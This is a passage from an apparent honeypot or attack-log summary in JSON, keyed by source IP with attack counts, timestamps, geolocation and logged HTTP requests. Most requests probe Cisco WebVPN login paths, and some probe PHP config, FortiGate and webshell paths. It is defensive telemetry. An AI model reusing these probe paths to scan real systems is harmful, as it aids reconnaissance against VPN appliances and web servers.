        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.84.107.47": {
      "attack_count": 14,
      "first_seen": "2026-05-24T01:21:57.031Z",
      "last_seen": "2026-05-24T01:29:53.987Z",
      "ports": [],
      "event_types": [
        "\"GET /adminconfig.all.php?aa HTTP/1.1\" 404 -",
        "\"GET /adminconfig.all.php?xaa HTTP/1.1\" 404 -",
        "\"GET /atmin/config.php?csasw HTTP/1.1\" 404 -",
        "\"GET /graph.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /graph.php?module=upload&1133 HTTP/1.1\" 404 -",
        "\"GET /main.php?hf5 HTTP/1.1\" 404 -",
        "\"GET /panel/init/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/ming-source/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings.old/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/includes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordingsconfig.all.php?xx HTTP/1.1\" 404 -",
        "\"GET /recordingsconfig.all.php?xxx HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "77.83.6.111": {
      "attack_count": 14,
      "first_seen": "2026-05-27T15:53:54.142Z",
      "last_seen": "2026-05-29T12:11:48.708Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "95.214.83.172": {
      "attack_count": 14,
      "first_seen": "2026-05-29T17:02:51.253Z",
      "last_seen": "2026-05-31T04:52:55.661Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.102.247.200": {
      "attack_count": 12,
      "first_seen": "2026-05-05T21:12:45.898Z",
      "last_seen": "2026-05-29T00:49:18.399Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.118.150": {
      "attack_count": 12,
      "first_seen": "2026-05-20T20:03:27.947Z",
      "last_seen": "2026-05-29T19:47:43.935Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.67": {
      "attack_count": 12,
      "first_seen": "2026-05-18T08:30:59.316Z",
      "last_seen": "2026-05-27T19:52:31.725Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.76": {
      "attack_count": 12,
      "first_seen": "2026-05-08T14:12:24.698Z",
      "last_seen": "2026-05-30T07:09:25.509Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "64.62.156.52": {
      "attack_count": 12,
      "first_seen": "2026-05-04T07:48:24.143Z",
      "last_seen": "2026-05-04T07:55:02.414Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "103.81.230.74": {
      "attack_count": 9,
      "first_seen": "2026-05-27T11:59:54.007Z",
      "last_seen": "2026-05-30T12:33:51.688Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.187.33": {
      "attack_count": 9,
      "first_seen": "2026-05-14T05:45:31.740Z",
      "last_seen": "2026-05-26T00:30:51.322Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.213.193.150": {
      "attack_count": 9,
      "first_seen": "2026-05-10T07:33:04.441Z",
      "last_seen": "2026-05-17T05:58:07.243Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.234.102.195": {
      "attack_count": 9,
      "first_seen": "2026-05-07T09:44:19.123Z",
      "last_seen": "2026-05-28T01:11:03.006Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.107.213": {
      "attack_count": 9,
      "first_seen": "2026-05-07T11:27:32.344Z",
      "last_seen": "2026-05-22T15:01:45.032Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.107.74": {
      "attack_count": 9,
      "first_seen": "2026-05-07T01:31:06.091Z",
      "last_seen": "2026-05-08T04:44:09.830Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "130.49.61.6": {
      "attack_count": 7,
      "first_seen": "2026-05-29T05:22:35.437Z",
      "last_seen": "2026-05-29T05:22:48.319Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chimacum",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "166.88.161.242": {
      "attack_count": 7,
      "first_seen": "2026-05-27T01:35:23.034Z",
      "last_seen": "2026-05-27T01:35:39.606Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.196.149": {
      "attack_count": 7,
      "first_seen": "2026-05-27T10:27:16.132Z",
      "last_seen": "2026-05-27T10:27:32.432Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.82.24": {
      "attack_count": 7,
      "first_seen": "2026-05-30T06:22:10.192Z",
      "last_seen": "2026-05-30T06:22:30.335Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": null,
      "as_org": null
    },
    "176.100.148.27": {
      "attack_count": 7,
      "first_seen": "2026-05-26T11:42:57.569Z",
      "last_seen": "2026-05-26T11:43:10.734Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "186.246.104.32": {
      "attack_count": 7,
      "first_seen": "2026-05-27T14:40:10.992Z",
      "last_seen": "2026-05-27T14:40:22.658Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Chicago",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "82.221.128.191": {
      "attack_count": 7,
      "first_seen": "2026-05-24T01:24:06.228Z",
      "last_seen": "2026-05-24T01:24:20.126Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/miscconfig.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/miscconfig.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/page.framework.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/phpversions.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /recordings/phpversions.php?module=upload&1 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Iceland",
      "country_code": "IS",
      "city": null,
      "asn": 50613,
      "as_org": "Advania Island ehf"
    },
    "92.119.163.59": {
      "attack_count": 7,
      "first_seen": "2026-05-30T01:41:02.027Z",
      "last_seen": "2026-05-30T01:41:13.172Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Huachuca City",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "103.251.27.74": {
      "attack_count": 6,
      "first_seen": "2026-05-20T13:52:01.120Z",
      "last_seen": "2026-05-23T11:43:16.891Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "185.220.101.61": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:25:11.643Z",
      "last_seen": "2026-05-24T01:25:20.559Z",
      "ports": [],
      "event_types": [
        "\"GET /falx.php?xw HTTP/1.1\" 404 -",
        "\"GET /wav.php?123 HTTP/1.1\" 404 -",
        "\"GET /webadmin.php?!23 HTTP/1.1\" 404 -",
        "\"GET /x1.php?123 HTTP/1.1\" 404 -",
        "\"GET /z.php?pass=angel HTTP/1.1\" 404 -",
        "\"GET /zz.php.call HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "23.234.112.195": {
      "attack_count": 6,
      "first_seen": "2026-05-05T19:13:38.078Z",
      "last_seen": "2026-05-27T21:44:41.012Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.224": {
      "attack_count": 6,
      "first_seen": "2026-05-05T03:37:04.154Z",
      "last_seen": "2026-05-07T01:49:50.500Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.162.40.192": {
      "attack_count": 3,
      "first_seen": "2026-05-02T02:07:03.092Z",
      "last_seen": "2026-05-02T02:07:13.599Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.69.191": {
      "attack_count": 3,
      "first_seen": "2026-05-08T01:45:19.433Z",
      "last_seen": "2026-05-08T01:45:28.436Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.207": {
      "attack_count": 3,
      "first_seen": "2026-05-05T01:55:39.384Z",
      "last_seen": "2026-05-05T01:55:47.172Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.146.199.253": {
      "attack_count": 3,
      "first_seen": "2026-05-14T11:11:47.037Z",
      "last_seen": "2026-05-14T11:11:49.166Z",
      "ports": [],
      "event_types": [
        "\"GET /?_HELP_ME_ESCAPE_FROM_BELARUS_PLEASE_ HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Canada",
      "country_code": "CA",
      "city": "Calgary",
      "asn": 6327,
      "as_org": "Shaw Communications"
    },
    "8.211.47.177": {
      "attack_count": 3,
      "first_seen": "2026-05-26T16:23:18.739Z",
      "last_seen": "2026-05-26T16:23:22.591Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "134.122.115.127": {
      "attack_count": 2,
      "first_seen": "2026-05-26T07:21:47.254Z",
      "last_seen": "2026-05-26T07:21:56.525Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "142.93.224.178": {
      "attack_count": 2,
      "first_seen": "2026-05-15T05:58:10.155Z",
      "last_seen": "2026-05-15T05:58:13.157Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "147.185.132.70": {
      "attack_count": 2,
      "first_seen": "2026-05-24T03:49:58.927Z",
      "last_seen": "2026-05-24T03:50:01.930Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "185.220.101.143": {
      "attack_count": 2,
      "first_seen": "2026-05-24T01:16:48.050Z",
      "last_seen": "2026-05-24T01:16:51.054Z",
      "ports": [],
      "event_types": [
        "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "3.143.162.210": {
      "attack_count": 2,
      "first_seen": "2026-05-10T11:48:40.944Z",
      "last_seen": "2026-05-10T11:48:43.947Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "3.82.92.91": {
      "attack_count": 2,
      "first_seen": "2026-05-05T00:51:41.821Z",
      "last_seen": "2026-05-27T01:04:52.849Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.197.193": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:45:25.940Z",
      "last_seen": "2026-05-07T10:45:34.111Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "13.222.210.0": {
      "attack_count": 1,
      "first_seen": "2026-05-13T00:49:37.654Z",
      "last_seen": "2026-05-13T00:49:37.654Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "153.76.20.187": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:27:14.057Z",
      "last_seen": "2026-05-30T15:27:14.057Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "172.94.9.82": {
      "attack_count": 1,
      "first_seen": "2026-05-30T01:20:49.729Z",
      "last_seen": "2026-05-30T01:20:49.729Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD"
    },
    "185.247.137.168": {
      "attack_count": 1,
      "first_seen": "2026-05-04T11:38:42.197Z",
      "last_seen": "2026-05-04T11:38:42.197Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "52.91.1.143": {
      "attack_count": 1,
      "first_seen": "2026-05-14T01:07:58.573Z",
      "last_seen": "2026-05-14T01:07:58.573Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.242.0.117": {
      "attack_count": 1,
      "first_seen": "2026-05-15T00:57:08.601Z",
      "last_seen": "2026-05-15T00:57:08.601Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "65.49.1.173": {
      "attack_count": 1,
      "first_seen": "2026-05-11T10:45:59.649Z",
      "last_seen": "2026-05-11T10:45:59.649Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.43": {
      "attack_count": 1,
      "first_seen": "2026-05-05T10:50:00.834Z",
      "last_seen": "2026-05-05T10:50:00.834Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "80.174.86.236": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:37:13.490Z",
      "last_seen": "2026-05-30T15:37:13.490Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Newport",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "91.196.152.254": {
      "attack_count": 1,
      "first_seen": "2026-05-27T19:42:59.320Z",
      "last_seen": "2026-05-27T19:42:59.320Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "98.142.240.7": {
      "attack_count": 1,
      "first_seen": "2026-05-20T12:32:40.082Z",
      "last_seen": "2026-05-20T12:32:40.082Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 202015,
      "as_org": "HZ Hosting Ltd"
    },
    "91.92.241.196": {
      "attack_count": 1992,
      "first_seen": "2026-05-10T06:17:27.567Z",
      "last_seen": "2026-05-26T20:17:25.137Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "85.239.147.15": {
      "attack_count": 581,
      "first_seen": "2026-05-23T10:17:11.030Z",
      "last_seen": "2026-05-30T13:18:22.083Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.0\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.0\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213474,
      "as_org": "HomeLine Broadband LLC"
    },
    "89.37.63.220": {
      "attack_count": 201,
      "first_seen": "2026-05-08T11:35:15.159Z",
      "last_seen": "2026-05-30T04:51:25.257Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "170.62.100.192": {
      "attack_count": 154,
      "first_seen": "2026-05-09T03:11:23.332Z",
      "last_seen": "2026-05-30T00:25:10.639Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "178.130.47.199": {
      "attack_count": 68,
